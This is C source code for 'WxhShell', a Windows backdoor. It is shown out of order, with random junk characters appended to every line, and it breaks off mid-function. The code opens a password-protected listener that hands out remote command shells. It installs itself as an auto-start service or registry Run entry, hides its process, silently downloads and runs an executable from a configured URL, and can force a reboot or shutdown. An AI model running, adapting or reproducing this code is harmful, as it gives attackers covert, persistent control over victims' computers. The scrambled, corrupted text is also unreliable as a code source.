    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g& {YHq^+  
    if(Boot(SHUTDOWN)) 6(.&y;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -szvO_UP  
    else { =3FXU{"Qi4  
    closesocket(wsh); \-^3Pe,  
    ExitThread(0); OA+W$  
    } d/e9LK  
    break; 7{6wNc  
    } fy-( B;  
  // 获取shell N3,EF1%  
  case 's': { &kP>qTI^p~  
    CmdShell(wsh); _b+3;Dy  
    closesocket(wsh); t<4+CC2H  
    ExitThread(0); K~uoZ~_gA  
    break; *Nv<,Br,F  
  } Xh ?{%?2  
  // 退出 T+I|2HYqOj  
  case 'x': { N7|ctO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6uDNqq  
    CloseIt(wsh); s;>jy/o0 s  
    break; , =#'?>Kq  
    } /Z^+K  
  // 离开 Q~jUZ-qN  
  case 'q': { @rE>D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a}6Wo=  
    closesocket(wsh); [K^RC;}nV^  
    WSACleanup(); >scEdeM  
    exit(1); tYnNOK*|  
    break; xSw ^v6!2  
        } Ax&+UxQ0|  
  } ~#wq sm  
  } W )\~T:Kn  
(|W@p\Q  
  // 提示信息 GZse8ng  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K1Uur>Pk%  
} 1g *4e  
  } q?`bu:yS  
0 ~VniF^  
  return; ^*Sb)tu\ W  
} j#29L"  
gP`8hNwR  
// shell模块句柄 X[R/j*K  
int CmdShell(SOCKET sock) DEs/?JZG  
{ ,2"-G";!f\  
STARTUPINFO si; k5((@[  
ZeroMemory(&si,sizeof(si)); 7Kfh:0Ihhy  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U\+o$mU^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9mr99 tA  
PROCESS_INFORMATION ProcessInfo; }=NjFK_6  
char cmdline[]="cmd"; lV3\5AEW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XJ.vj+XXb  
  return 0; <Dl7|M  
} nT:ZSJWM  
L\pe  
// 自身启动模式 <`BUk< uf#  
int StartFromService(void) KATt9ox@  
{ TwY]c<t  
typedef struct 4~D?F'o  
{ d&F8nBIM5  
  DWORD ExitStatus; ^[2A< g  
  DWORD PebBaseAddress; k5(@n>p  
  DWORD AffinityMask; TC'tui  
  DWORD BasePriority; Q 1g@FsW&U  
  ULONG UniqueProcessId; M*|x,K=U  
  ULONG InheritedFromUniqueProcessId; Ue! &Vm  
}   PROCESS_BASIC_INFORMATION; 'RXh E  
i&RPY bT{  
PROCNTQSIP NtQueryInformationProcess; K^EW*6vB8O  
Ao(Xz$cQfW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YHl6M&*@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; IF<pT)  
awGI|d  
  HANDLE             hProcess; (z\@T`6`  
  PROCESS_BASIC_INFORMATION pbi; %+qD-{&  
"d9"Md0k  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); LJ9^:U  
  if(NULL == hInst ) return 0; XB zcbS+  
.cjSgK1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y^?7de}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z%k)'%_   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )bXiw3'A  
fQM:NI? 9?  
  if (!NtQueryInformationProcess) return 0; '`I&g8I\  
x8w455  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CM_FF:<tn  
  if(!hProcess) return 0; ;mu^WIj  
^ 14U]<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;~3CuN8  
9ELLJ@oNC  
  CloseHandle(hProcess); abp]qvCV  
CtfI&rb[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #3leMZ6  
if(hProcess==NULL) return 0; Z+x,Awq  
o[X 'We;  
HMODULE hMod; 2eK!<Gj  
char procName[255]; {%*,KB>b  
unsigned long cbNeeded; ?Mtd3F^o?  
OW;]= k/(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u,I_p[`E  
)%I2#Q"Nt-  
  CloseHandle(hProcess); q,(U8  
?#da4W  
if(strstr(procName,"services")) return 1; // 以服务启动 &Ba` 3V\M  
Q/xT>cUd  
  return 0; // 注册表启动 @@M 2s(  
} gMS-mkZ  
e0Zwhz,  
// 主模块 tNj-~r  
int StartWxhshell(LPSTR lpCmdLine) MOi.bHCQJP  
{ <b !nI N  
  SOCKET wsl; ',$Uw|N  
BOOL val=TRUE; -PPH]?],  
  int port=0; t"4RGO)jh  
  struct sockaddr_in door; yhxen  
%5Q5xw]w3  
  if(wscfg.ws_autoins) Install(); a\;Vly;  
GgwO>[T  
port=atoi(lpCmdLine); Sc#B -4m  
kK\G+{z?  
if(port<=0) port=wscfg.ws_port; N8S !&*m  
E{'{fo!#)  
  WSADATA data; '#pY/,hVB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Myaj81  
o_R<7o/d|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   'RZ=A+%X  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Oh)s"f\N  
  door.sin_family = AF_INET; (xxNQ] l-(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); R9bsl.e  
  door.sin_port = htons(port); d nRbt{`jP  
J)tk<&X  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O<}3\O )G(  
closesocket(wsl); ZFYv|2l  
return 1; .LMOmc=(  
} B /q/6Pp  
t+y$i@R:  
  if(listen(wsl,2) == INVALID_SOCKET) { HGIPz{/5U  
closesocket(wsl); {S[+hUl  
return 1; -hL0}Wy$N  
} q=Xda0c  
  Wxhshell(wsl); 742 sqHx  
  WSACleanup(); a_}k^zw(  
=)QtE|p,77  
return 0; ;J [ed>v;3  
/q[5-96c  
} <j\osw1R  
max 5s$@  
// 以NT服务方式启动 TNun)0p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +pMa-{  
{ V;}kgWc1  
DWORD   status = 0; V}=%/OY?  
  DWORD   specificError = 0xfffffff; T .#cd1b  
k_ d)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [ =/Yo1:v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9NzK1V0X  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;6+e!h'1  
  serviceStatus.dwWin32ExitCode     = 0; =T7lv%u  
  serviceStatus.dwServiceSpecificExitCode = 0; Qg9*mlm`  
  serviceStatus.dwCheckPoint       = 0; 3%HF"$Gg  
  serviceStatus.dwWaitHint       = 0; n@1;5)&k~  
q-? k=RX`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); PH!^ww6  
  if (hServiceStatusHandle==0) return; (S<Z@y+d  
-o: if F|  
status = GetLastError(); 'OEh'\d+x  
  if (status!=NO_ERROR) i*ibx;s-  
{ Z:_ wE62'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !W\Zq+^^J3  
    serviceStatus.dwCheckPoint       = 0; cl\Gh  
    serviceStatus.dwWaitHint       = 0; pX 4:WV  
    serviceStatus.dwWin32ExitCode     = status; ,EsPm'`?A/  
    serviceStatus.dwServiceSpecificExitCode = specificError; b{+7sl  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M( eu wy  
    return; HgVPyo  
  } 4DLp +6zP  
skSs|slp  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Dqxtc|vo  
  serviceStatus.dwCheckPoint       = 0; [v0[,K  
  serviceStatus.dwWaitHint       = 0; 6>  L)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r [NI#wW  
} Ku 'OM6D<  
Wb)>APL  
// 处理NT服务事件,比如:启动、停止 /kZ{+4M  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 'J[ n}r  
{ g#W/WKvM  
switch(fdwControl) "K Or)QD/  
{ ` @PHV  
case SERVICE_CONTROL_STOP: 40?xu#"  
  serviceStatus.dwWin32ExitCode = 0; <q}w,XU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; PJ$C$G  
  serviceStatus.dwCheckPoint   = 0; !\'NBq,  
  serviceStatus.dwWaitHint     = 0; KCDbE6  
  { ='rSB.$Ctk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7A,QA5G ]C  
  } n8K FP  
  return; S`w_q=-^8  
case SERVICE_CONTROL_PAUSE: h=a-~= 8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E: 7R>.g  
  break; mQ$a^28=qR  
case SERVICE_CONTROL_CONTINUE: l^~E+F~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \jR('5DcB  
  break; }Cs. Hm0P  
case SERVICE_CONTROL_INTERROGATE: r}>q*yx:  
  break; Tr\6 AN?o  
}; BdMmeM2h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V eD<1<  
} 'c[|\M!u  
#E'aa'P}  
// 标准应用程序主函数 (9!/bX<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %B#(d)T*-  
{ jsp)e=  
7RpAsLH=  
// 获取操作系统版本 'B"A*!" b  
OsIsNt=GetOsVer(); &x mYpQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); G=VbEL^H  
>du _/*8:  
  // 从命令行安装 BH;7CK=7R  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~ZxFL$<'3  
)8,)&F  
  // 下载执行文件 Sd9%tO9mf  
if(wscfg.ws_downexe) { (>)f#t[9J  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U%PII>s'#  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~#]$YoQ&O  
} %C1*`"Jb&  
.dE2,9{Z  
if(!OsIsNt) { <T^:`p/]4  
// 如果时win9x,隐藏进程并且设置为注册表启动 I\y=uC  
HideProc(); }Ghh%]  
StartWxhshell(lpCmdLine); 9im<J'  
} /c4@QbB  
else o6b\ w  
  if(StartFromService())  f3E%0cg  
  // 以服务方式启动 o$XJSz|6  
  StartServiceCtrlDispatcher(DispatchTable); f7du1k3  
else WVMkLMg8d  
  // 普通方式启动 Q>QES-.l  
  StartWxhshell(lpCmdLine); { K,KIj"  
 "d3qUk  
return 0; /4xp?Lo:  
} v:xfGA nP  
0hCrEM!8  
xRiWg/Z~  
tqMOh R  
=========================================== 0*4h}t9j  
um5n3=K  
h ycdk1SN  
VNggDKS~K  
:enmMB#%  
? CabVj-r  
" 7[/1uI9U8K  
7j//x Tr}a  
#include <stdio.h> -ge :y2R_w  
#include <string.h> xlHC?d0}  
#include <windows.h> 3[T<pAZ  
#include <winsock2.h> ?c7} v  
#include <winsvc.h> ^6?)EM#  
#include <urlmon.h> J|gRG0O9Ya  
sfUKH;xC  
#pragma comment (lib, "Ws2_32.lib") >P_/a,O8  
#pragma comment (lib, "urlmon.lib") [m+):q^  
QKAt%"1&  
#define MAX_USER   100 // 最大客户端连接数 ?*K{1Ghf  
#define BUF_SOCK   200 // sock buffer W&'[Xj  
#define KEY_BUFF   255 // 输入 buffer Up*.z\|'y  
MmL)CT  
#define REBOOT     0   // 重启 m .':5  
#define SHUTDOWN   1   // 关机 YB?5s`vr9d  
up^D9(y\  
#define DEF_PORT   5000 // 监听端口 S +mM S  
P)k!#*  
#define REG_LEN     16   // 注册表键长度 loR,f&80=O  
#define SVC_LEN     80   // NT服务名长度 sSdnH_;&  
c 0/vB  
// 从dll定义API C\RJ){dk  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); um}%<Cy[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z<ABK`rEO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); gOSFvH8FU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?V9Da;cj  
*? <ygzX  
// wxhshell配置信息 (7k}ysc  
struct WSCFG { EsK.g/d  
  int ws_port;         // 监听端口 NW AT"  
  char ws_passstr[REG_LEN]; // 口令 L^b /+R#  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6!Z>^'6  
  char ws_regname[REG_LEN]; // 注册表键名 p@Va`:RDW  
  char ws_svcname[REG_LEN]; // 服务名 -w3KBlo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4IUdlb  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Zk .V   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +Dwq>3AH  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8gK  <xp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fZ7Ap3dmP  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #UYrSM@u  
i7#PYt  
}; Q}qw` L1  
k  __MYb  
// default Wxhshell configuration NB@TyU  
struct WSCFG wscfg={DEF_PORT, #eZm)KFQg  
    "xuhuanlingzhe", E{B8+T:3  
    1, Zp'q;h_  
    "Wxhshell", K>_~zWnc  
    "Wxhshell",  |tVWmm^m  
            "WxhShell Service", *F)+- BB  
    "Wrsky Windows CmdShell Service", J4VyP["m  
    "Please Input Your Password: ", 6upCL:A~r  
  1, 90rY:!e  
  "http://www.wrsky.com/wxhshell.exe", [)S7`K;  
  "Wxhshell.exe" !8ch&cr)o+  
    }; *ke9/hO1i  
>x0)  
// 消息定义模块 ^W)h=49PN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "u=U@1 ^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b>_eD-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -z6{!  
char *msg_ws_ext="\n\rExit."; = 3("gScUj  
char *msg_ws_end="\n\rQuit."; 3{"MN=  
char *msg_ws_boot="\n\rReboot..."; K H&o`U(}  
char *msg_ws_poff="\n\rShutdown..."; R'e>YDC  
char *msg_ws_down="\n\rSave to "; <{"Jy)Uf  
'}pe$=  
char *msg_ws_err="\n\rErr!"; H-ewO8@  
char *msg_ws_ok="\n\rOK!"; FcI ZG _  
h F4gz*Q  
char ExeFile[MAX_PATH]; "'zVwU  
int nUser = 0; N |nZf5{  
HANDLE handles[MAX_USER]; +[C><uP  
int OsIsNt; \'[C_+;X  
5<=ktA48[  
SERVICE_STATUS       serviceStatus; W%,h{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; FsTl@zN  
J~=tR1 k  
// 函数声明 23_\UTM}1  
int Install(void); Dc;zgLLL  
int Uninstall(void); 7 8n`VmH~L  
int DownloadFile(char *sURL, SOCKET wsh); l<"Z?z  
int Boot(int flag); ~IIlCmMl,  
void HideProc(void); r{1xjAT  
int GetOsVer(void); vf-cx\y7  
int Wxhshell(SOCKET wsl); WN`|5"?$  
void TalkWithClient(void *cs); 2J0N]`|)  
int CmdShell(SOCKET sock); *$/!.e  
int StartFromService(void); # qPWJ  
int StartWxhshell(LPSTR lpCmdLine); V 'e _gH  
eJ2$DgB}t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Pko2fJt1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); J*}Qnl+  
xTV3U9 v  
// 数据结构和表定义 F4$N:J kl  
SERVICE_TABLE_ENTRY DispatchTable[] = s;NPY  
{ XkE'k;AEx  
{wscfg.ws_svcname, NTServiceMain}, tIJ?caX5=  
{NULL, NULL} @Z{!T)#}j  
}; o%1dbbh  
q(iM=IeiN  
// 自我安装 ]%I}hj J  
int Install(void) Oqy&V&-C  
{ eABLBsx  
  char svExeFile[MAX_PATH]; ^}\!Sn  
  HKEY key; ZlEH3-Zv  
  strcpy(svExeFile,ExeFile); KDUa0$"  
4qe!+!#$  
// 如果是win9x系统,修改注册表设为自启动 KBSO^<7  
if(!OsIsNt) { 530Z>q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sPoH12?AL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *!p#1fE  
  RegCloseKey(key); rJ7yq|^Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4y$tp1 8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JS{trqc1d  
  RegCloseKey(key); /QT"5fxKJ  
  return 0; cZd{K[fuK  
    }  jcVK4jW  
  } gI5"\"T{  
} pipO ,n  
else { -Uu65m~:{k  
*~H\#N|x  
// 如果是NT以上系统,安装为系统服务 $<QOMfY>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M+lj g&fy  
if (schSCManager!=0) Kp.d#W_TX  
{ xfsf  
  SC_HANDLE schService = CreateService F9\T <  
  ( nJ{vO{N  
  schSCManager, 2zQ62t}  
  wscfg.ws_svcname, . v L4@_  
  wscfg.ws_svcdisp, }_vUsjK  
  SERVICE_ALL_ACCESS, XI"8d.VR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , QW[ gDc  
  SERVICE_AUTO_START, X6`F<H`  
  SERVICE_ERROR_NORMAL, \u@*FTS  
  svExeFile,  WPnw  
  NULL, 8kA2.pIk  
  NULL, hI Q 2s  
  NULL, )!tqock*v  
  NULL, Q#a<T4l  
  NULL Sh(Ws2b7  
  ); |?=a84n1l  
  if (schService!=0) Iq%f*Zm<  
  { g$P<`.  
  CloseServiceHandle(schService); piv/QP-X  
  CloseServiceHandle(schSCManager); =mWr8p-H  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S.Rqu+  
  strcat(svExeFile,wscfg.ws_svcname); v vvH5NRm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { oI2YJ2?Je8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _${//`ia=  
  RegCloseKey(key); m.|__L  
  return 0; Cvk n2T  
    } U|2*.''+Q  
  } rQ+2 -|#  
  CloseServiceHandle(schSCManager); .>A`FqV$~+  
} RqnT*  
} p#fd+  
Kx[u9MD  
return 1; 93+p~?  
} gs?=yNL  
G5K_e:i  
// 自我卸载 _pM~v>~*+  
int Uninstall(void) 3\~ RWoB0u  
{ ud}B#{6  
  HKEY key; !rwe|"8m?u  
&y~EEh|  
if(!OsIsNt) { kl&9M!;:n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <ic%c/mN  
  RegDeleteValue(key,wscfg.ws_regname); {y0`p1  
  RegCloseKey(key); s1/:Ts[3i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t^Hte^#S  
  RegDeleteValue(key,wscfg.ws_regname); [ S_8;j  
  RegCloseKey(key); 2wKW17wj,  
  return 0; _h2s(u >\  
  } E,fG<X{  
} :fW\!o 8Z2  
} c/bIt  
else { d 6$,N|  
4Z"JC9As  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3$E\B=7/U  
if (schSCManager!=0) ,cg%t9  
{ )X dpzWod  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |` +G7?)Y  
  if (schService!=0) 4PVkKP'/  
  { Q, 1TD 2)h  
  if(DeleteService(schService)!=0) { D-GIrw{>5  
  CloseServiceHandle(schService); ,*Vt53@E  
  CloseServiceHandle(schSCManager); liuF;*  
  return 0; $cUTe  
  } Fo0dz  
  CloseServiceHandle(schService); v]tNJ=aI  
  } yhBf%m  
  CloseServiceHandle(schSCManager); acXB vs  
} k8~/lE.Wy  
} ^9g+\W  
p? q~.YY  
return 1; )w.\xA~|  
} !x, ;&  
/J-:?./  
// 从指定url下载文件 f-!A4eKe  
int DownloadFile(char *sURL, SOCKET wsh) gp/_# QVWC  
{ $xWebz0  
  HRESULT hr; qq)Dh'5*e,  
char seps[]= "/"; ~sd+ch*  
char *token; xq.HR_\  
char *file; 0."TSe83\  
char myURL[MAX_PATH]; KG5h$eM'  
char myFILE[MAX_PATH]; (zm5 4 Vm  
f8m%T%]f  
strcpy(myURL,sURL); U!0 Qf7D  
  token=strtok(myURL,seps); 2L'vB1 `  
  while(token!=NULL) _B5t)7I  
  { !E0zj9 [ R  
    file=token; ^YpA@`n  
  token=strtok(NULL,seps); gx*rxid  
  } FzDZ<dJ  
NVTNjDF%s  
GetCurrentDirectory(MAX_PATH,myFILE); {u1Rc/Lw  
strcat(myFILE, "\\"); v0ng M)^q  
strcat(myFILE, file); XuQ7nlbnq  
  send(wsh,myFILE,strlen(myFILE),0); k]vrqjn Q  
send(wsh,"...",3,0); ~}c`r4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }P5zf$  
  if(hr==S_OK) '}`|QJ  
return 0; \Lz2"JI  
else ON(H7  
return 1; A1zqm_X5)P  
[I`r[u  
} C3H q&TVf/  
V7zF5=w  
// 系统电源模块 )-_NtMr~`!  
int Boot(int flag) hLVS}HE2  
{ H$:Z`CQt<  
  HANDLE hToken; Jl"),;Od  
  TOKEN_PRIVILEGES tkp; Q9lw~"  
CvCk#:@HM  
  if(OsIsNt) { FBjIft5e  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); AC=/BU3<yc  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); RP 2MtP"M  
    tkp.PrivilegeCount = 1; d(>7BV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mulK(mp  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C] <K s  
if(flag==REBOOT) { VQm)32'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C-;y#a)  
  return 0; t|gEMDGa3  
} O1@-)<_71  
else { ~ caKzq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (c /H$'  
  return 0; nt,tM/  
} idwiM|.iU  
  } Xd_86q8o  
  else { VrF(0,-Z`3  
if(flag==REBOOT) { \dyJ=tg  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _E e`Uk  
  return 0; {gE19J3  
} *t;'I -1w^  
else {  +X i#y}%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 73$^y)AvY  
  return 0; UFxQ-GV4  
} $XFiH~GI  
} w_po5[]R  
+Y!9)~f}7X  
return 1; Hno:"k?  
} (C#9/WO?  
SRl:+!@.  
// win9x进程隐藏模块 h1.]Nl C  
void HideProc(void) :t\pi. uWt  
{ aU]A#g   
K/Q^8%Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kji*7a?y  
  if ( hKernel != NULL ) Y`S9mGR#  
  { AZ)H/#be  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >9{Gdq[gyr  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :CO>g=`  
    FreeLibrary(hKernel); 6(4FC?Y7  
  } \ajy%$;$}  
& ?mH[rG"  
return; ,K Ebnk|i  
} eK\1cs  
$m`?x5rL8  
// 获取操作系统版本 Z~^)B8  
int GetOsVer(void) Rh-e C6P  
{ z'K&LH  
  OSVERSIONINFO winfo; j nvi_Rodm  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A-\OB Nh  
  GetVersionEx(&winfo); *.wX9g9\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  4l+"J:,  
  return 1; G(F }o]  
  else NF <|3|  
  return 0; +]-~UsM  
} OosxuAC(  
H8+7rM  
// 客户端句柄模块 $pK2H0c  
int Wxhshell(SOCKET wsl) =Jfo=`da  
{ sf4NKe2*  
  SOCKET wsh; M=hxOta  
  struct sockaddr_in client; L.XGD|m  
  DWORD myID; (K"U #Zn  
1w}%>e-S  
  while(nUser<MAX_USER) ]NS{q85  
{ E}K6Op;=v5  
  int nSize=sizeof(client); UN'[sHjOnD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J ylav:  
  if(wsh==INVALID_SOCKET) return 1; ~;nh|v/e  
m,KG}KX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .$5QM&  
if(handles[nUser]==0) 3B#qQ#  
  closesocket(wsh); 9fr LYJz"  
else zi l^^wT0J  
  nUser++; Q$!dPwDg  
  } BH"f\oc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (27bNKr  
ZYr6Wn  
  return 0; k^ B<t'  
} D+G?:m R  
$'# hCs  
// 关闭 socket f& P'Kxj_  
void CloseIt(SOCKET wsh) *;7~aM  
{ ^]}+ s(  
closesocket(wsh); X6I"&yct  
nUser--; *@`Sx'5!  
ExitThread(0); Fd!Np7xw  
} D4nYyj1O3  
8,unq3  
// 客户端请求句柄 8D3|}z?  
void TalkWithClient(void *cs) M?mPi 3  
{ M4[(.8iE  
.d{@`^dh1]  
  SOCKET wsh=(SOCKET)cs; yf3c- p  
  char pwd[SVC_LEN]; <4r3ZV;'  
  char cmd[KEY_BUFF]; E(]39B"i  
char chr[1]; .|Unq`ll  
int i,j; 6v(?Lr`D  
1vw [{.wC  
  while (nUser < MAX_USER) { z2'3P{#s  
C s XV0  
if(wscfg.ws_passstr) { /BEE.`6yI5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -JgN$Sf  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [XK^3pT_  
  //ZeroMemory(pwd,KEY_BUFF); XdS&s}J[I  
      i=0; {/|RKV83  
  while(i<SVC_LEN) { x_Y03__/  
+/+:D9j ,  
  // 设置超时 4yy9m8/  
  fd_set FdRead; d)hA'k  
  struct timeval TimeOut; BMaw]D  
  FD_ZERO(&FdRead); Eod'Esye5  
  FD_SET(wsh,&FdRead); *Ae> ,LyE  
  TimeOut.tv_sec=8; )LOV)z|}  
  TimeOut.tv_usec=0; t!^ j0q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "u29| OY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pjG/`  
'Lm\ r+$F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W}^X;f  
  pwd=chr[0]; PydU.,^7  
  if(chr[0]==0xd || chr[0]==0xa) { ]J|]IP Xy  
  pwd=0; G,o5JL"t  
  break; JK.<(=y\  
  } $W}YXLFj?  
  i++; Q`= ,&;T>  
    } :c03"jvYE  
ZQ@ Ul  
  // 如果是非法用户,关闭 socket AN)exU ?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &Ul8h,qw  
} dV/ ^@[  
P|U9f6^3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _z6_mmMp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xlKg0 &D  
<PMQ$s>KK  
while(1) { o paRk.p  
I= '6>+P  
  ZeroMemory(cmd,KEY_BUFF); |f+`FOliP  
n,Gvgf  
      // 自动支持客户端 telnet标准   n^[VN[ VC  
  j=0; 5EX Ghc'  
  while(j<KEY_BUFF) { 8?l/x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Sv#S_jh  
  cmd[j]=chr[0]; g.,_E4L  
  if(chr[0]==0xa || chr[0]==0xd) { ",, W1]"%  
  cmd[j]=0; [\BLb8  
  break; P >>VBh?  
  } BmhIKXE{*  
  j++; aGz$A15#  
    } *xV  
;0"p)O@s04  
  // 下载文件 S4O'N x  
  if(strstr(cmd,"http://")) { bCfw,V{sce  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); UlD]!5NO  
  if(DownloadFile(cmd,wsh)) P9yg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bw Cwy  
  else gt \O  
